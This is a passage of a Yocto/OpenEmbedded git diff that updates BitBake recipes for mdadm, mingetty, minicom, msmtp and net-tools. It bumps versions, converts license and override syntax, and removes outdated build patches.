+DEBUG_OPTIMIZATION:append = " -Wno-error"
+
+do_compile() {
+ oe_runmake SYSROOT="${STAGING_DIR_TARGET}"
+}
+
+do_install() {
+ export STRIP=""
+ autotools_do_install
+}
+
+do_install:append() {
+ install -d ${D}/${sysconfdir}/
+ install -m 644 ${S}/mdadm.conf-example ${D}${sysconfdir}/mdadm.conf
+ install -d ${D}/${sysconfdir}/init.d
+ install -m 755 ${WORKDIR}/mdadm.init ${D}${sysconfdir}/init.d/mdmonitor
+}
+
+do_install:append() {
+ oe_runmake install-systemd DESTDIR=${D}
+}
+
+do_compile_ptest() {
+ oe_runmake test
+}
+
+do_install_ptest() {
+ cp -R --no-dereference --preserve=mode,links -v ${S}/tests ${D}${PTEST_PATH}/tests
+ cp ${S}/test ${D}${PTEST_PATH}
+ sed -e 's!sleep 0.*!sleep 1!g; s!/var/tmp!/mdadm-testing-dir!g' -i ${D}${PTEST_PATH}/test
+ sed -i -e '/echo -ne "$_script... "/d' \
+ -e 's/echo "succeeded"/echo -e "PASS: $_script"/g' \
+ -e '/save_log fail/N; /_fail=1/i\\t\t\techo -ne "FAIL: $_script"' \
+ -e '/die "dmesg prints errors when testing $_basename!"/i\\t\t\t\techo -ne "FAIL: $_script" &&' \
+ ${D}${PTEST_PATH}/test
+
+ chmod +x ${D}${PTEST_PATH}/test
+
+ ln -s ${base_sbindir}/mdadm ${D}${PTEST_PATH}/mdadm
+ for prg in test_stripe swap_super raid6check
+ do
+ install -D -m 755 $prg ${D}${PTEST_PATH}/
+ done
+
+ # Disable tests causing intermittent autobuilder failures
+ echo "intermittent failure on autobuilder" > ${D}${PTEST_PATH}/tests/19raid6check.broken
+ echo "intermittent failure on autobuilder" > ${D}${PTEST_PATH}/tests/20raid5journal.broken
+ echo "intermittent failure on autobuilder" > ${D}${PTEST_PATH}/tests/21raid5cache.broken
+ echo "intermittent failure on autobuilder" > ${D}${PTEST_PATH}/tests/10ddf-fail-spare.broken
+ echo "intermittent failure on autobuilder" > ${D}${PTEST_PATH}/tests/10ddf-fail-stop-readd.broken
+}
+
+RDEPENDS:${PN} += "bash"
+RDEPENDS:${PN}-ptest += " \
+ bash \
+ e2fsprogs-mke2fs \
+ util-linux-lsblk \
+ util-linux-losetup \
+ util-linux-blockdev \
+ strace \
+"
+RRECOMMENDS:${PN}-ptest += " \
+ coreutils \
+ kernel-module-loop \
+ kernel-module-linear \
+ kernel-module-raid0 \
+ kernel-module-raid1 \
+ kernel-module-raid10 \
+ kernel-module-raid456 \
+"
+
+FILES:${PN} += "${systemd_unitdir}/*"
+
+# strace is not yet ported to rv32
+RDEPENDS:${PN}-ptest:remove:riscv32 = "strace"
+do_install_ptest:append:riscv32 () {
+ echo "disabled, no strace" > ${D}${PTEST_PATH}/tests/07revert-grow.broken
+ echo "disabled, no strace" > ${D}${PTEST_PATH}/tests/07revert-inplace.broken
+}
diff --git a/meta/recipes-extended/mingetty/mingetty_1.08.bb b/meta/recipes-extended/mingetty/mingetty_1.08.bb
index 491b892093..aa5a989df2 100644
--- a/meta/recipes-extended/mingetty/mingetty_1.08.bb
+++ b/meta/recipes-extended/mingetty/mingetty_1.08.bb
@@ -1,8 +1,8 @@
SUMMARY = "Compact getty terminal handler for virtual consoles only"
SECTION = "console/utils"
HOMEPAGE = "http://sourceforge.net/projects/mingetty/"
-LICENSE = "GPLv2"
-PR = "r3"
+DESCRIPTION = "This is a small Linux console getty that is started on the Linux text console, asks for a login name and then tranfers over to login directory. Is extended to allow automatic login and starting any app."
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=0c56db0143f4f80c369ee3af7425af6e"
SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${BP}.tar.gz"
@@ -23,7 +23,7 @@ do_install(){
inherit update-alternatives
-ALTERNATIVE_${PN} = "getty"
+ALTERNATIVE:${PN} = "getty"
ALTERNATIVE_LINK_NAME[getty] = "${base_sbindir}/getty"
ALTERNATIVE_TARGET[getty] = "${base_sbindir}/mingetty"
ALTERNATIVE_PRIORITY = "10"
diff --git a/meta/recipes-extended/minicom/minicom/0001-Drop-superfluous-global-variable-definitions.patch b/meta/recipes-extended/minicom/minicom/0001-Drop-superfluous-global-variable-definitions.patch
deleted file mode 100644
index 4c6e249315..0000000000
--- a/meta/recipes-extended/minicom/minicom/0001-Drop-superfluous-global-variable-definitions.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From b65152ebc03832972115e6d98e50cb6190d01793 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Ond=C5=99ej=20Lyson=C4=9Bk?= <olysonek@redhat.com>
-Date: Mon, 3 Feb 2020 13:18:13 +0100
-Subject: [PATCH 1/3] Drop superfluous global variable definitions
-
-The file minicom.c, by including the minicom.h header, already defines
-the global variables 'dial_user' and 'dial_pass'. The object file
-minicom.o is always linked to dial.o. Thus the definitions in dial.c
-can be dropped.
-
-This fixes linking with gcc 10 which uses -fno-common by default,
-disallowing multiple global variable definitions.
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- src/dial.c | 2 --
- 1 file changed, 2 deletions(-)
-
-diff --git a/src/dial.c b/src/dial.c
-index eada5ee..d9d481f 100644
---- a/src/dial.c
-+++ b/src/dial.c
-@@ -146,8 +146,6 @@ static int newtype;
- /* Access to ".dialdir" denied? */
- static int dendd = 0;
- static char *tagged;
--char *dial_user;
--char *dial_pass;
-
- /* Change the baud rate. Treat all characters in the given array as if
- * they were key presses within the comm parameters dialog (C-A P) and
---
-2.24.1
-
diff --git a/meta/recipes-extended/minicom/minicom/0001-Fix-build-issus-surfaced-due-to-musl.patch b/meta/recipes-extended/minicom/minicom/0001-Fix-build-issus-surfaced-due-to-musl.patch
deleted file mode 100644
index fec67fdd3f..0000000000
--- a/meta/recipes-extended/minicom/minicom/0001-Fix-build-issus-surfaced-due-to-musl.patch
+++ /dev/null
@@ -1,47 +0,0 @@
-From d62a5862e26ed3fc58d789efe9c40ca6c911d36b Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 31 Aug 2015 22:35:31 +0000
-Subject: [PATCH] Fix build issus surfaced due to musl
-
-src/getsdir.h:28:14: error: 'MAXNAMLEN' undeclared here (not in a function)
- char fname[MAXNAMLEN + 1]; /* filename + terminating null */
-
-src/dial.c:352:22: error: 'KIOCSOUND' undeclared (first use in this function)
-| ioctl(consolefd, KIOCSOUND, k);
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- src/dial.c | 2 +-
- src/getsdir.c | 1 +
- 2 files changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/src/dial.c b/src/dial.c
-index a90c1d2..bf02574 100644
---- a/src/dial.c
-+++ b/src/dial.c
-@@ -39,7 +39,7 @@
- #include "intl.h"
-
- #ifdef VC_MUSIC
--# if defined(__GLIBC__)
-+# if defined(__GLIBC__) || defined(__linux__)
- # include <sys/ioctl.h>
- # include <sys/kd.h>
- # include <sys/time.h>
-diff --git a/src/getsdir.c b/src/getsdir.c
-index 2195b27..b61a361 100644
---- a/src/getsdir.c
-+++ b/src/getsdir.c
-@@ -30,6 +30,7 @@
- #include <string.h>
- #include <sys/types.h>
- #include <sys/stat.h>
-+#include <sys/param.h>
- #include <errno.h>
-
- #include "getsdir.h"
---
-2.5.1
-
diff --git a/meta/recipes-extended/minicom/minicom/0001-fix-minicom-h-v-return-value-is-not-0.patch b/meta/recipes-extended/minicom/minicom/0001-fix-minicom-h-v-return-value-is-not-0.patch
deleted file mode 100644
index bd8261c979..0000000000
--- a/meta/recipes-extended/minicom/minicom/0001-fix-minicom-h-v-return-value-is-not-0.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-Subject: [PATCH] fix minicom -h/-v return value is not 0
-
-Upstream-Status: Pending
-
-Signed-off-by: Lu Chong <Chong.Lu@windriver.com>
-
----
- src/minicom.c | 6 ++----
- 1 file changed, 2 insertions(+), 4 deletions(-)
-
-diff --git a/src/minicom.c b/src/minicom.c
-index e1a557b..730da7c 100644
---- a/src/minicom.c
-+++ b/src/minicom.c
-@@ -1166,15 +1166,13 @@ int main(int argc, char **argv)
- "modify it under the terms of the GNU General Public License\n"
- "as published by the Free Software Foundation; either version\n"
- "2 of the License, or (at your option) any later version.\n\n");
-- exit(1);
-- break;
-+ exit(0);
- case 's': /* setup mode */
- dosetup = 1;
- break;
- case 'h':
- helpthem();
-- exit(1);
-- break;
-+ exit(0);
- case 'p': /* Pseudo terminal to use. */
- if (strncmp(optarg, "/dev/", 5) == 0)
- optarg += 5;
---
-1.7.9.5
-
diff --git a/meta/recipes-extended/minicom/minicom/0002-Drop-superfluous-global-variable-definitions.patch b/meta/recipes-extended/minicom/minicom/0002-Drop-superfluous-global-variable-definitions.patch
deleted file mode 100644
index 1740051e0a..0000000000
--- a/meta/recipes-extended/minicom/minicom/0002-Drop-superfluous-global-variable-definitions.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From 924bd2da3a00e030e29d82b74ef82900bd50b475 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Ond=C5=99ej=20Lyson=C4=9Bk?= <olysonek@redhat.com>
-Date: Mon, 3 Feb 2020 13:18:33 +0100
-Subject: [PATCH 2/3] Drop superfluous global variable definitions
-
-The only place where the EXTERN macro mechanism is used to define the
-global variables 'vt_outmap' and 'vt_inmap' is minicom.c (by defining
-an empty EXTERN macro and including the minicom.h header). The file
-vt100.c already defines these variables. The vt100.o object file is
-always linked to minicom.o. Thus it is safe not to define the
-variables in minicom.c and only declare them in the minicom.h header.
-
-This fixes linking with gcc 10 which uses -fno-common by default,
-disallowing multiple global variable definitions.
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- src/minicom.h | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/minicom.h b/src/minicom.h
-index 061c013..0f9693b 100644
---- a/src/minicom.h
-+++ b/src/minicom.h
-@@ -141,7 +141,7 @@ EXTERN int sbcolor; /* Status Bar Background Color */
- EXTERN int st_attr; /* Status Bar attributes. */
-
- /* jl 04.09.97 conversion tables */
--EXTERN unsigned char vt_outmap[256], vt_inmap[256];
-+extern unsigned char vt_outmap[256], vt_inmap[256];
-
- /* MARK updated 02/17/95 - history buffer */
- EXTERN int num_hist_lines; /* History buffer size */
---
-2.24.1
-
diff --git a/meta/recipes-extended/minicom/minicom/0003-Drop-superfluous-global-variable-definitions.patch b/meta/recipes-extended/minicom/minicom/0003-Drop-superfluous-global-variable-definitions.patch
deleted file mode 100644
index 58cd58eda8..0000000000
--- a/meta/recipes-extended/minicom/minicom/0003-Drop-superfluous-global-variable-definitions.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-From a4fc603b3641d2efe31479116eb7ba66932901c7 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Ond=C5=99ej=20Lyson=C4=9Bk?= <olysonek@redhat.com>
-Date: Mon, 3 Feb 2020 13:21:41 +0100
-Subject: [PATCH 3/3] Drop superfluous global variable definitions
-
-The only place where the EXTERN macro mechanism is used to define the
-global variables 'portfd_is_socket', 'portfd_is_connected' and
-'portfd_sock_addr' is minicom.c (by defining an empty EXTERN macro and
-including the minicom.h header). The source file sysdep1_s.c already
-defines these variables. The sysdep1_s.o object file is always linked
-to minicom.o. Thus it is safe to drop the definitions from minicom.c
-and only declare the variables in the minicom.h header.
-
-This fixes linking with gcc 10 which uses -fno-common by default,
-disallowing multiple global variable definitions.
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- src/minicom.h | 6 +++---
- 1 file changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/src/minicom.h b/src/minicom.h
-index 0f9693b..1e7cb8c 100644
---- a/src/minicom.h
-+++ b/src/minicom.h
-@@ -113,9 +113,9 @@ EXTERN char *dial_user; /* Our username there */
- EXTERN char *dial_pass; /* Our password */
-
- #ifdef USE_SOCKET
--EXTERN int portfd_is_socket; /* File descriptor is a unix socket */
--EXTERN int portfd_is_connected; /* 1 if the socket is connected */
--EXTERN struct sockaddr_un portfd_sock_addr; /* the unix socket address */
-+extern int portfd_is_socket; /* File descriptor is a unix socket */
-+extern int portfd_is_connected; /* 1 if the socket is connected */
-+extern struct sockaddr_un portfd_sock_addr; /* the unix socket address */
- #define portfd_connected ((portfd_is_socket && !portfd_is_connected) \
- ? -1 : portfd)
- #else
---
-2.24.1
-
diff --git a/meta/recipes-extended/minicom/minicom/allow.to.disable.lockdev.patch b/meta/recipes-extended/minicom/minicom/allow.to.disable.lockdev.patch
deleted file mode 100644
index f5c08896ff..0000000000
--- a/meta/recipes-extended/minicom/minicom/allow.to.disable.lockdev.patch
+++ /dev/null
@@ -1,21 +0,0 @@
-Upstream-Status: Pending
-
-Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
-
---- a/configure.in 2013-02-06 18:18:13.000000000 +0100
-+++ b/configure.in 2013-07-21 15:31:27.614828894 +0200
-@@ -40,7 +40,13 @@
- fi
-
- PKG_PROG_PKG_CONFIG
--if test -n "$PKG_CONFIG"; then
-+
-+AC_ARG_ENABLE([lockdev],
-+ AS_HELP_STRING([--enable-lockdev],
-+ [Enable lockdev support (def: enabled)]),
-+ [], [enable_lockdev="yes"])
-+
-+if test -n "$PKG_CONFIG" && test "x$enable_lockdev" = xyes; then
- PKG_CHECK_MODULES([LOCKDEV], [lockdev], AC_DEFINE([HAVE_LOCKDEV],[1],[Define if you have lockdev]),[:])
- fi
-
diff --git a/meta/recipes-extended/minicom/minicom_2.7.1.bb b/meta/recipes-extended/minicom/minicom_2.7.1.bb
deleted file mode 100644
index 03034864c8..0000000000
--- a/meta/recipes-extended/minicom/minicom_2.7.1.bb
+++ /dev/null
@@ -1,31 +0,0 @@
-SUMMARY = "Text-based modem control and terminal emulation program"
-HOMEPAGE = "http://alioth.debian.org/projects/minicom/"
-DESCRIPTION = "Minicom is a text-based modem control and terminal emulation program for Unix-like operating systems"
-SECTION = "console/network"
-DEPENDS = "ncurses virtual/libiconv"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=420477abc567404debca0a2a1cb6b645 \
- file://src/minicom.h;beginline=1;endline=12;md5=a58838cb709f0db517f4e42730c49e81"
-
-SRC_URI = "${DEBIAN_MIRROR}/main/m/${BPN}/${BPN}_${PV}.orig.tar.gz \
- file://allow.to.disable.lockdev.patch \
- file://0001-fix-minicom-h-v-return-value-is-not-0.patch \
- file://0001-Fix-build-issus-surfaced-due-to-musl.patch \
- file://0001-Drop-superfluous-global-variable-definitions.patch \
- file://0002-Drop-superfluous-global-variable-definitions.patch \
- file://0003-Drop-superfluous-global-variable-definitions.patch \
- "
-
-SRC_URI[md5sum] = "9021cb8c5445f6e6e74b2acc39962d62"
-SRC_URI[sha256sum] = "532f836b7a677eb0cb1dca8d70302b73729c3d30df26d58368d712e5cca041f1"
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[lockdev] = "--enable-lockdev,--disable-lockdev,lockdev"
-
-inherit autotools gettext pkgconfig
-
-do_install() {
- for d in doc extras man lib src; do make -C $d DESTDIR=${D} install; done
-}
-
-RRECOMMENDS_${PN} += "lrzsz"
diff --git a/meta/recipes-extended/minicom/minicom_2.9.bb b/meta/recipes-extended/minicom/minicom_2.9.bb
new file mode 100644
index 0000000000..907d5c79c9
--- /dev/null
+++ b/meta/recipes-extended/minicom/minicom_2.9.bb
@@ -0,0 +1,25 @@
+SUMMARY = "Text-based modem control and terminal emulation program"
+HOMEPAGE = "https://salsa.debian.org/minicom-team/minicom"
+DESCRIPTION = "Minicom is a text-based modem control and terminal emulation program for Unix-like operating systems"
+SECTION = "console/network"
+DEPENDS = "ncurses virtual/libiconv"
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=420477abc567404debca0a2a1cb6b645 \
+ file://src/minicom.h;beginline=1;endline=12;md5=a58838cb709f0db517f4e42730c49e81"
+
+SRC_URI = "${DEBIAN_MIRROR}/main/m/${BPN}/${BPN}_${PV}.orig.tar.bz2"
+
+SRC_URI[sha256sum] = "9efbb6458140e5a0de445613f0e76bcf12cbf7a9892b2f53e075c2e7beaba86c"
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[lockdev] = "--enable-lockdev,--disable-lockdev,lockdev"
+
+inherit autotools gettext pkgconfig
+
+do_install() {
+ for d in doc extras man lib src; do make -C $d DESTDIR=${D} install; done
+}
+
+RRECOMMENDS:${PN} += "lrzsz"
+
+RDEPENDS:${PN} += "ncurses-terminfo-base"
diff --git a/meta/recipes-extended/msmtp/msmtp_1.8.11.bb b/meta/recipes-extended/msmtp/msmtp_1.8.11.bb
deleted file mode 100644
index 804ed59b4e..0000000000
--- a/meta/recipes-extended/msmtp/msmtp_1.8.11.bb
+++ /dev/null
@@ -1,27 +0,0 @@
-SUMMARY = "msmtp is an SMTP client"
-DESCRIPTION = "A sendmail replacement for use in MTAs like mutt"
-HOMEPAGE = "https://marlam.de/msmtp/"
-SECTION = "console/network"
-
-LICENSE = "GPLv3"
-DEPENDS = "zlib gnutls"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-UPSTREAM_CHECK_URI = "https://marlam.de/msmtp/download/"
-
-SRC_URI = "https://marlam.de/${BPN}/releases/${BP}.tar.xz"
-SRC_URI[sha256sum] = "f25f0fa177ce9e0ad65c127e790a37f35fb64fee9e33d90345844c5c86780e60"
-
-inherit gettext autotools update-alternatives pkgconfig
-
-EXTRA_OECONF += "--without-libsecret --without-libgsasl --without-libidn"
-
-ALTERNATIVE_${PN} = "sendmail"
-# /usr/lib/sendmial is required by LSB core test
-ALTERNATIVE_${PN}_linuxstdbase = "sendmail usr-lib-sendmail"
-ALTERNATIVE_TARGET[sendmail] = "${bindir}/msmtp"
-ALTERNATIVE_LINK_NAME[sendmail] = "${sbindir}/sendmail"
-ALTERNATIVE_TARGET[usr-lib-sendmail] = "${bindir}/msmtp"
-ALTERNATIVE_LINK_NAME[usr-lib-sendmail] = "/usr/lib/sendmail"
-ALTERNATIVE_PRIORITY = "100"
diff --git a/meta/recipes-extended/msmtp/msmtp_1.8.25.bb b/meta/recipes-extended/msmtp/msmtp_1.8.25.bb
new file mode 100644
index 0000000000..b575fad5e1
--- /dev/null
+++ b/meta/recipes-extended/msmtp/msmtp_1.8.25.bb
@@ -0,0 +1,27 @@
+SUMMARY = "msmtp is an SMTP client"
+DESCRIPTION = "A sendmail replacement for use in MTAs like mutt"
+HOMEPAGE = "https://marlam.de/msmtp/"
+SECTION = "console/network"
+
+LICENSE = "GPL-3.0-only"
+DEPENDS = "zlib gnutls"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+
+UPSTREAM_CHECK_URI = "https://marlam.de/msmtp/download/"
+
+SRC_URI = "https://marlam.de/${BPN}/releases/${BP}.tar.xz"
+SRC_URI[sha256sum] = "2dfe1dbbb397d26fe0b0b6b2e9cd2efdf9d72dd42d18e70d7f363ada2652d738"
+
+inherit gettext autotools update-alternatives pkgconfig
+
+EXTRA_OECONF += "--without-libsecret --without-libgsasl --without-libidn"
+
+ALTERNATIVE:${PN} = "sendmail"
+# /usr/lib/sendmial is required by LSB core test
+ALTERNATIVE:${PN}:linuxstdbase = "sendmail usr-lib-sendmail"
+ALTERNATIVE_TARGET[sendmail] = "${bindir}/msmtp"
+ALTERNATIVE_LINK_NAME[sendmail] = "${sbindir}/sendmail"
+ALTERNATIVE_TARGET[usr-lib-sendmail] = "${bindir}/msmtp"
+ALTERNATIVE_LINK_NAME[usr-lib-sendmail] = "/usr/lib/sendmail"
+ALTERNATIVE_PRIORITY = "100"
diff --git a/meta/recipes-extended/net-tools/net-tools/Bug_443075-ifconfig.c-pointtopoint_spelling.patch b/meta/recipes-extended/net-tools/net-tools/Bug_443075-ifconfig.c-pointtopoint_spelling.patch
deleted file mode 100644
index 74d74668ce..0000000000
--- a/meta/recipes-extended/net-tools/net-tools/Bug_443075-ifconfig.c-pointtopoint_spelling.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-Description: Accept "pointtopoint" as a synonym for "pointopoint"
-Bug-Debian: https://bugs.debian.org/443075
-Author: Justin Pryzby <pryzbyj@libra>
-
-Upstream-Status: Pending
-Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
-
---- a/ifconfig.c
-+++ b/ifconfig.c
-@@ -644,14 +644,14 @@
- spp++;
- continue;
- }
-- if (!strcmp(*spp, "-pointopoint")) {
-+ if (!strcmp(*spp, "-pointopoint") || !strcmp(*spp, "-pointtopoint")) {
- goterr |= clr_flag(ifr.ifr_name, IFF_POINTOPOINT);
- spp++;
- if (test_flag(ifr.ifr_name, IFF_POINTOPOINT) > 0)
- fprintf(stderr, _("Warning: Interface %s still in POINTOPOINT mode.\n"), ifr.ifr_name);
- continue;
- }
-- if (!strcmp(*spp, "pointopoint")) {
-+ if (!strcmp(*spp, "pointopoint") || !strcmp(*spp, "pointtopoint")) {
- if (*(spp + 1) != NULL) {
- spp++;
- safe_strncpy(host, *spp, (sizeof host));
diff --git a/meta/recipes-extended/net-tools/net-tools/Bug_541172-netstat.c-exit-codes.patch b/meta/recipes-extended/net-tools/net-tools/Bug_541172-netstat.c-exit-codes.patch
deleted file mode 100644
index 782b94bc61..0000000000
--- a/meta/recipes-extended/net-tools/net-tools/Bug_541172-netstat.c-exit-codes.patch
+++ /dev/null
@@ -1,22 +0,0 @@
-Description: Bug#541172: netstat.c exit codes
-
-Upstream-Status: Pending
-Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
-
---- a/netstat.c
-+++ b/netstat.c
-@@ -2237,12 +2237,14 @@
- parsesnmp(flag_raw, flag_tcp, flag_udp, flag_sctp);
- #else
- ENOSUPP("netstat", "AF INET");
-+ exit(1);
- #endif
- } else if(!strcmp(afname, "inet6")) {
- #if HAVE_AFINET6
- parsesnmp6(flag_raw, flag_tcp, flag_udp);
- #else
- ENOSUPP("netstat", "AF INET6");
-+ exit(1);
- #endif
- } else {
- printf(_("netstat: No statistics support for specified address family: %s\n"), afname);
diff --git a/meta/recipes-extended/net-tools/net-tools_1.60-20181103.bb b/meta/recipes-extended/net-tools/net-tools_1.60-20181103.bb
deleted file mode 100644
index e97731073e..0000000000
--- a/meta/recipes-extended/net-tools/net-tools_1.60-20181103.bb
+++ /dev/null
@@ -1,110 +0,0 @@
-SUMMARY = "Basic networking tools"
-DESCRIPTION = "A collection of programs that form the base set of the NET-3 networking distribution for the Linux operating system"
-HOMEPAGE = "http://net-tools.berlios.de/"
-BUGTRACKER = "http://bugs.debian.org/net-tools"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://ifconfig.c;beginline=11;endline=15;md5=d1ca372080ad5401e23ca0afc35cf9ba"
-
-PV = "1.60-20181103+git${SRCPV}"
-SRCREV = "0eebece8c964e3cfa8a018f42b2e7e751a7009a0"
-SRC_URI = "git://git.code.sf.net/p/net-tools/code;protocol=https \
- file://net-tools-config.h \
- file://net-tools-config.make \
- file://Add_missing_headers.patch \
- file://Bug_443075-ifconfig.c-pointtopoint_spelling.patch \
- file://Bug_541172-netstat.c-exit-codes.patch \
-"
-
-UPSTREAM_VERSION_UNKNOWN = "1"
-
-S = "${WORKDIR}/git"
-
-inherit gettext
-
-# The Makefile is lame, no parallel build
-PARALLEL_MAKE = ""
-
-PACKAGECONFIG ??= "hostname arp serial plip"
-PACKAGECONFIG[hostname] = ""
-PACKAGECONFIG[arp] = ""
-PACKAGECONFIG[serial] = ""
-PACKAGECONFIG[plip] = ""
-
-do_configure() {
- # net-tools has its own config mechanism requiring "make config"
- # we pre-generate desired options and copy to source directory instead
- cp ${WORKDIR}/net-tools-config.h ${S}/config.h
- cp ${WORKDIR}/net-tools-config.make ${S}/config.make
-
- if [ "${USE_NLS}" = "no" ]; then
- sed -i -e 's/^I18N=1/# I18N=1/' ${S}/config.make
- fi
-
- if ${@bb.utils.contains('PACKAGECONFIG', 'hostname', 'true', 'false', d)} ; then
- echo "#define HAVE_HOSTNAME_TOOLS 1" >> ${S}/config.h
- echo "#define HAVE_HOSTNAME_SYMLINKS 1" >> ${S}/config.h
- echo "HAVE_HOSTNAME_TOOLS=1" >> ${S}/config.make
- echo "HAVE_HOSTNAME_SYMLINKS=1" >> ${S}/config.make
- fi
- if ${@bb.utils.contains('PACKAGECONFIG', 'arp', 'true', 'false', d)} ; then
- echo "#define HAVE_ARP_TOOLS 1" >> ${S}/config.h
- echo "HAVE_ARP_TOOLS=1" >> ${S}/config.make
- fi
- if ${@bb.utils.contains('PACKAGECONFIG', 'serial', 'true', 'false', d)} ; then
- echo "#define HAVE_SERIAL_TOOLS 1" >> ${S}/config.h
- echo "HAVE_SERIAL_TOOLS=1" >> ${S}/config.make
- fi
- if ${@bb.utils.contains('PACKAGECONFIG', 'plip', 'true', 'false', d)} ; then
- echo "#define HAVE_PLIP_TOOLS 1" >> ${S}/config.h
- echo "HAVE_PLIP_TOOLS=1" >> ${S}/config.make
- fi
-}
-
-do_compile() {
- # net-tools use COPTS/LOPTS to allow adding custom options
- oe_runmake COPTS="$CFLAGS" LOPTS="$LDFLAGS"
-}
-
-do_install() {
- # We don't need COPTS or LOPTS, but let's be consistent.
- oe_runmake COPTS="$CFLAGS" LOPTS="$LDFLAGS" BASEDIR=${D} INSTALLNLSDIR=${D}${datadir}/locale mandir=${mandir} install
-
- if [ "${base_bindir}" != "/bin" ]; then
- mkdir -p ${D}/${base_bindir}
- mv ${D}/bin/* ${D}/${base_bindir}/
- rmdir ${D}/bin
- fi
- if [ "${base_sbindir}" != "/sbin" ]; then
- mkdir ${D}/${base_sbindir}
- mv ${D}/sbin/* ${D}/${base_sbindir}/
- rmdir ${D}/sbin
- fi
-}
-
-inherit update-alternatives
-
-base_sbindir_progs = "ipmaddr iptunnel mii-tool nameif \
- ${@bb.utils.contains('PACKAGECONFIG', 'arp', 'arp rarp', '', d)} \
- ${@bb.utils.contains('PACKAGECONFIG', 'plip', 'plipconfig', '', d)} \
- ${@bb.utils.contains('PACKAGECONFIG', 'serial', 'slattach', '', d)} \
-"
-base_bindir_progs = "ifconfig netstat route \
- ${@bb.utils.contains('PACKAGECONFIG', 'hostname', 'dnsdomainname domainname hostname nisdomainname ypdomainname', '', d)} \
-"
-
-ALTERNATIVE_${PN} = "${base_sbindir_progs} ${base_bindir_progs}"
-ALTERNATIVE_${PN}-doc += "${@bb.utils.contains('PACKAGECONFIG', 'hostname', 'hostname.1 dnsdomainname.1', '', d)}"
-ALTERNATIVE_LINK_NAME[hostname.1] = "${mandir}/man1/hostname.1"
-ALTERNATIVE_LINK_NAME[dnsdomainname.1] = "${mandir}/man1/dnsdomainname.1"
-ALTERNATIVE_PRIORITY[hostname.1] = "10"
-
-python __anonymous() {
- for prog in d.getVar('base_sbindir_progs').split():
- d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_sbindir'), prog))
- for prog in d.getVar('base_bindir_progs').split():
- d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_bindir'), prog))
-}
-ALTERNATIVE_PRIORITY = "100"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/net-tools/net-tools_2.10.bb b/meta/recipes-extended/net-tools/net-tools_2.10.bb
new file mode 100644
index 0000000000..33304297ec
--- /dev/null
+++ b/meta/recipes-extended/net-tools/net-tools_2.10.bb
@@ -0,0 +1,121 @@
+SUMMARY = "Basic networking tools"
+DESCRIPTION = "A collection of programs that form the base set of the NET-3 networking distribution for the Linux operating system"
+HOMEPAGE = "http://net-tools.berlios.de/"
+BUGTRACKER = "http://bugs.debian.org/net-tools"
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://ifconfig.c;beginline=11;endline=15;md5=d1ca372080ad5401e23ca0afc35cf9ba"
+
+SRCREV = "80d7b95067f1f22fece9537dea6dff53081f4886"
+SRC_URI = "git://git.code.sf.net/p/net-tools/code;protocol=https;branch=master \
+ file://net-tools-config.h \
+ file://net-tools-config.make \
+ file://Add_missing_headers.patch \
+"
+
+S = "${WORKDIR}/git"
+
+inherit gettext
+
+# The Makefile is lame, no parallel build
+PARALLEL_MAKE = ""
+
+PACKAGECONFIG ??= "hostname arp serial plip"
+PACKAGECONFIG[hostname] = ""
+PACKAGECONFIG[arp] = ""
+PACKAGECONFIG[serial] = ""
+PACKAGECONFIG[plip] = ""
+PACKAGECONFIG[slattach] = ""
+PACKAGECONFIG[plipconfig] = ""
+
+do_configure() {
+ # net-tools has its own config mechanism requiring "make config"
+ # we pre-generate desired options and copy to source directory instead
+ cp ${WORKDIR}/net-tools-config.h ${S}/config.h
+ cp ${WORKDIR}/net-tools-config.make ${S}/config.make
+
+ if [ "${USE_NLS}" = "no" ]; then
+ sed -i -e 's/^I18N=1/# I18N=1/' ${S}/config.make
+ fi
+
+ if ${@bb.utils.contains('PACKAGECONFIG', 'hostname', 'true', 'false', d)} ; then
+ echo "#define HAVE_HOSTNAME_TOOLS 1" >> ${S}/config.h
+ echo "#define HAVE_HOSTNAME_SYMLINKS 1" >> ${S}/config.h
+ echo "HAVE_HOSTNAME_TOOLS=1" >> ${S}/config.make
+ echo "HAVE_HOSTNAME_SYMLINKS=1" >> ${S}/config.make
+ fi
